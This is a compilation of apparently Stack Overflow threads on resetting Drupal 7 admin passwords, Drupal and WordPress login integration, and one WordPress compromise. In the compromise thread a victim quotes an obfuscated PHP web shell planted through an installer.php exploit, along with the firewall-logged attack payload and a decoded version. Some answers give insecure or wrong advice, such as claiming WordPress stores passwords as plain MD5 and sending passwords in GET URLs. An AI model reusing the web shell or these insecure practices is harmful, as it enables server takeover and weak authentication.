After searching over internet I came to know that With drupal 7, password are no more encrypted through md5.
What are possible ways to get passwords encrypted in Drupal 7??
With drupal 7, password are no more encrypted through md5.
There are several way to get/set a password in drupal7.
Using drush (for your information, not used in your case):
drush upwd admin --password="newpassword"
Without drush, if you have a cli access to the server : (for your information, not used in your case)
cd <drupal root directory>
php scripts/password-hash.sh 'myPassword'
Now copy the resultant hash and paste it into the query:
update users set name='admin', pass='pasted_big_hash_from_above' where uid=1;
Thanks Malik.
After search I found different solutions. Following solution also works
If you are working on a remote environment on which you cannot connect, you can put this specified code in a file such as password.php such as this one:
<?php
if (isset($_GET['p'])) {
require_once dirname(__FILE__) . '/includes/bootstrap.inc';
require_once dirname(__FILE__) . '/includes/password.inc';
print _password_crypt('sha512', $_GET['p'], _password_generate_salt(DRUPAL_HASH_COUNT));
exit();
}
print "No password to hash.";
And then hit your site using: http://domain.tld/password.php?p='MyPassword'. The hash will appear on your browser's tab.
Don't forget to remove it once you done it.
So, if you want to use some password function generation, have a look on _password_crypt() and _password_generate_salt()
The user_hash_password() function can be used to hash password, if you want to use it outside from outside Drupal, you need to bootstrap Drupal configuration.
chdir("/path/to/drupal");
require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_CONFIGURATION);
user_hash_password($password);
Related
I have a Wordpress site that keeps severing database connection and I am not sure how to find or clean up or get rid of the root cause.
The issue is that there is this odd script that keeps popping up on the wp-config.php file. I delete it, correct the credentials, site comes back up just fine. In about a day or so- same thing happens. The database credentials are reset and this foreign script appears again.
This is the output I keep seeing after the attack:
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'test');
file_put_contents('accesson.php', '<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))){#$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);}; ?>'); /*');
file_put_contents('accesson.php', '<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))){#$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);}; ?>'); /*');
/** MySQL database username */
define('DB_USER', 'user');
/** MySQL database password */
define('DB_PASSWORD', 'taskh60J0f');
The code seems to reference accesson.php. So I looked at that file and this is the code that it has:
<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))){#$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);}; ?>
I reset the db connection again and deleted the accesson.php file from the root directory but am not 100% that this will no longer occur. My question is how do I clean this up 100%? I also want to note that I am not a developer. I know how to read code, but am not real proficient at writing it. Any help would greatly be appreciated.
Had the same attack on a site we have recently started hosting - repeated extra code added to config and accession.php dropped into the web root.
In our instance the cause of the problem was a file named installer.php and another file named installer-backup.php - these came with the site when we imported it.
In one of our protection plug-in threat logs we found repeated POST attempts to installer and installer-backup.php details as follows.
"name": "POST.dbname",
"value": "test\\');\nfile_put_contents(\\'accesson.php\\', \\'<?php echo 7457737+736723;$raPo_rZluoE=base64_decode(\\\"Y\\\".chr(109).\\\"F\\\".chr(122).chr(90).\\\"T\\\".chr(89).chr(48).chr(88).\\\"2\\\".\\\"R\\\".\\\"l\\\".\\\"Y\\\".chr(50).\\\"9\\\".chr(107).\\\"Z\\\".chr(81).\\\"=\\\".\\\"=\\\");$ydSJPtnwrSv=base64_decode(chr(89).\\\"2\\\".chr(57).chr(119).chr(101).chr(81).chr(61).\\\"=\\\");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87).\\\"Q\\\".chr(61))]));if($_POST[base64_decode(\\\"d\\\".chr(88).chr(65).\\\"=\\\")] == base64_decode(\\\"d\\\".\\\"X\\\".chr(65).chr(61))){#$ydSJPtnwrSv($_FILES[base64_decode(chr(90).\\\"m\\\".\\\"l\\\".\\\"s\\\".chr(90).\\\"Q\\\".\\\"=\\\".chr(61))][base64_decode(chr(100).chr(71).chr(49).\\\"w\\\".\\\"X\\\".chr(50).\\\"5\\\".chr(104).\\\"b\\\".chr(87).\\\"U\\\".chr(61))],$_FILES[base64_decode(\\\"Z\\\".chr(109).\\\"l\\\".\\\"s\\\".chr(90).\\\"Q\\\".chr(61).chr(61))][base64_decode(chr(98).\\\"m\\\".\\\"F\\\".chr(116).\\\"Z\\\".chr(81).chr(61).\\\"=\\\")]);}; ?>\\'); \/*"
This creates the accession.php file withe the code as per the original post.
Decoding that gives:
echo 7457737+736723;
$raPo_rZluoE = 'base64_decode';
$ydSJPtnwrSv = 'copy=';
eval(base64_decode($_POST['id']));
if($_POST['up'] == 'up'){copy($_FILES['file']['tmp_name'],$_FILES['file']['name']);}
So looks like accession.php will do what its name suggest and provide a route to copy files onto the server.
This necessitated a total wipe out and rebuild after a manual scan of the db - which did not show anything suspicious.
Nothing untoward has happened since the rebuild except someone is making many attempts to POST to no non-existent installer and installer-backup.php.
Interestingly, we have so far not seen any attempts to POST to accession.php
I am using built in Drupal 7 user module, fore user registration, forgot-your-password-emails and all that stuff.
I have forgotten my admin password. I have access to my website which is hosted on 1and1.com and also have access to mysql?
Is it possible to change password or email address through SQL so that I can access the admin page?
If it possible how? Can you somebody help me with this?
Thanks!
If you have Drush installed, you just have to enter the following command in the terminal from anywhere inside the site root.
drush upwd admin --password=mynewpassword
Here, admin is the user name; who's password will be changed to mynewpassword.
After several research I tried the following code stored it as a php file in the root directory
saved it as password-reset-admin.php
<?php
define('DRUPAL_ROOT', getcwd());
require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
require_once DRUPAL_ROOT . '/includes/password.inc';
if (isset($_GET['pass']) && !empty($_GET['pass'])) {
$newhash = user_hash_password($_GET['pass']);
}
else {
die('Retry with ?pass=PASSWORD set in the URL');
}
$updatepass = db_update('users')
->fields(array(
'pass' => $newhash,
// 'name' => 'admin',
// 'mail' => 'yourmail#domain.com';
))
->condition('uid', '1', '=')
->execute();
print "Done. Please delete this file immediately!";
drupal_exit();
?>
And after that access the php file through the following:
https://yoursite.com/password-reset-admin.php?pass=newpassword
It just worked..:) Hope it helps others.
Please make sure you delete the file.
To change the password, you need to have shell access to your website. If not, download a copy of drupal 7 on your local machine.
Then, open your terminal and navigate to your Drupal 7 root folder. Then type the following command:
./scripts/password-hash.sh NEW_PASSWORD
Replace NEW_PASSWORD with the new password you need.
This will output a new password hash, copy this password and go to your database manager (phpMyAdmin or similar) and change the admin password to newly generated text.
I don't know of other way to do that, because Drupal is not using MD5 anymore and use a hashing algorithm instead.
Change directory to your Drupal's root.
Then generate the new hash.
In case of Drupal 7:
$ php scripts/password-hash.sh 'your-new-pass-here'
Then execute SQL query to update the administrator's password:
UPDATE users_field_data SET pass='$S$Do7UQjqtEELNccdi92eCXcVJ2KnwUeHrSbK3YhFm8oR3lRJQbMB2' WHERE uid = 1;
In case of Drupal 8 path to script will be:
$ php core/scripts/password-hash.sh 'your-new-pass-here'
Update DB:
UPDATE users_field_data SET pass='$S$Do7UQjqtEELNccdi92eCXcVJ2KnwUeHrSbK3YhFm8oR3lRJQbMB2' WHERE uid = 1;
Clean the cache:
DELETE FROM cache_entity WHERE cid = 'values:user:1';
If you have access to database, then...
Go to the users table in your database and change the admin's email to an email that you have access to.
Afterward, head over to yoursite.com/user/password and enter the email that just changed.
Go to your email and click on the reset link to go into your site and reset your password.
Done!
Tested and it works!
With the access to the table "users" in your Database via PhpMyAdmin for example (i.e. this table can have a prefix that you have already mentionned during the Drupal installation part, so yourPrefix_ can be your project's name as mywebsitename_, and in this case you'll have mywebsitename_users).
You should alter the "pass" column associated with the "uid" column with the value 1 (i.e 1 for the admin user account).
As the encrypted value for the password: Admin_12345 is =>
$S$DifCVXg9tNtHadziyyQJQVLAaZzW5EgS6OjR56D.mk8MpNQs1II2
You can accede to your admin account after replacing the old hashed password value stored in your database that you have totally forgotten.
Don't forget to change the password: Admin_12345 after you accede to your account with an other one.
You can generate query here and run the query in database.
I'm looking to build a library for Codeigniter that communicates with the Wordpress database to provide functions such as login, logout and register. Logging in through the Codeigniter app should not make a difference compared to logging in through the Wordpress site. So I can switch between the two of them without having to login twice.
I'm not looking to "integrate Wordpress with Codeigniter" and whatever else people are asking about. I just want to use the Wordpress DB to authenticate users and then create the right cookies etc.
If anybody knows of any projects already existing that would be helpful to me as I embark on this I would like to hear about them.
This is an example of the integration that seems to need. It is not CI, but it is only a couple of functions and can serve as a starting point.
EDITED
Revisiting the issue, it seems to me that you ask as it is cumbersome because you have to rewrite things that WP does very well.
Either way, the names of the cookies consist of a prefix and a compile id of the site, it's just a md5 of the URL of the blog. Are defined in the file "wp-includes/default-constants.php".
The one you're interested in could be used like this:
//$wp_url like this: http://domain.com, Exactly as written in the configuration
$cookie= "wordpress_logged_in_".md5($wp_url);
The contents of this cookie will be something like: admin|7C1314493656|7Cdd41a2cd52acbaaf68868c850f094f9f
$cookie_content= explode("|",$this->input->cookie($cookie,true));
if(count($cookie_content)>0){
$user_name= $cookie_content[0];
}else{
//No user identified, do something...
}
Bonus Pack
While studying the WP code was writing a small library that does just that, using the WP login and access levels directly in CI. Available in bitbucket GPL2 licensed (as WP): CiWp-Auth.
WordPress uses MD5 to encrypt their password so you can just query the wp_users table with the username and the password after you MD5 it. The query would look something like this:
$credentials = array(
'user_login' => $this->input->post('username'),
'user_pass' => md5($this->input->post('password'))
);
$this->db->where($credentials);
$user = $this->db->get('wp_users');
That should return the user account info you are looking for in the $user var, then you can work with it just like any other authentication method.
I'm new to Drupal6 and spent long time searching how to implement the following feature without success: I use Drupal as front-end/doc board for a web-app. I want to mirror all user account creation, update and deletion on this web-app, i.e. send user name and password.
I started coding a little module implementing hook_user (http://api.drupal.org/api/function/hook_user/6), but I am still wondering on several question concerning this hook:
1) I can't find a doc concerning the $account fields, and thus don't know how to retrieve the user name and password.
2) The insert operation informs that "The user account is being added". Is that triggered when the user query an account or when his/her pending account creation has been approved?
3) User management on the 'slave' webapp is done through a URL interface. I only know the header("Location: http://webapp/users/add?user=martin&pwd=bla") PHP primitive, but I fear this will make a redirection, instead of just hiting the target page and continue code flow. Any suggestion?
Maybe some of you already programmed such a module, or would have links for more documentation?
Thanks in advance,
Martin
Taking a step back and looking at the big picture, you have several options.
Use OpenID (there's a core Drupal module for it) for both sites
Use LDAP (there's a really good Drupal contrib module for it)
Look at other modules offer user login sharing with other apps (such as http://drupal.org/project/phpbb or http://drupal.org/project/moodle or many others) for inspiration
Have your web app use Drupal's user table. This is relatively easy as the username is there in plaintext and the password is just MD5'ed (so no salts or anything to muddy up the waters).
Basically, hook_user is wrong. What you need to do is use hook_form_alter to change the '#validate' parameter of the login form. That way, the validate is passed to your function in your module where you are getting $form_values['username'] and $form_values['password']. You pass that on to your URL via curl. If it returns correctly, return nothing. If it doesn't return, use form_set_error and it will deny the login.
Good luck!
In order to just retrieve a response from a page, you can use drupal_http_request()
And a general security note, make sure you're authenticating and validating the requests between applications. Passing passwords in plain text via GET parameters over HTTP also makes me a little queasy, but I don't know your application set up.
Here is the final piece of code that works. Note that the password is retrieved md5ified, so the slave webapp must be able to do so as well:
function mirror_registration_user($op, &$edit, &$account, $category = NULL) {
$cmd = 'http://www.example.com/register?name='.$account->name.'&pass='.$account->pass;
if($op == 'insert'){
$cmd .= '&op=insert';
drupal_http_request( $cmd );
}
else if($op == 'delete'){
$cmd .= '&op=delete';
drupal_http_request( $cmd );
}
else if($op == 'after_update'){ // 'update' is a "before update event"
$cmd .= '&op=update';
drupal_http_request( $cmd );
}
}
Remark: in our case, registration requires admin approval. In this case, there's an 'update' event. The 'insert' event is triggered as soon as the user queries an account.
Informations for other newbies:
When trying to debug the code, one can echo $cmd to have the content of $cmd writen on top left of the following page.
If you write crapy php code and get a blank page when using the hook, you may add to Drupal/index.php the following calls: error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE); that allow having debug info.
i forgot my drupal user id and password. Is there any way to recover it
http://example.com/<path-to-drupal>/user/password should bring you to a page where you can request a reset/new-password.
Edit:
The above path applies if you have 'clean URLs' enabled, if not use http://example.com/<path-to-drupal>/?q=user/password
This solution is valid for Drupal 5 or 6 but not for Drupal 7. This version does not use a standard hashed password. You can get your encoded password running the following command:
php /path_to_drupal_files/scripts/password-hash.sh your_password
Then you can see your password hash. This is the string that you should use in the database to update the admin password. You can use the following SQL query to update the Drupal database.
UPDATE users SET pass='YOUR_PASSWORD_HASH' where uid=1;
If you don't have access to the email (or want to bulk-update the passwords) you can update the database with a query like:
UPDATE users SET pass = md5('NEWPASSWORD') WHERE name = 'admin'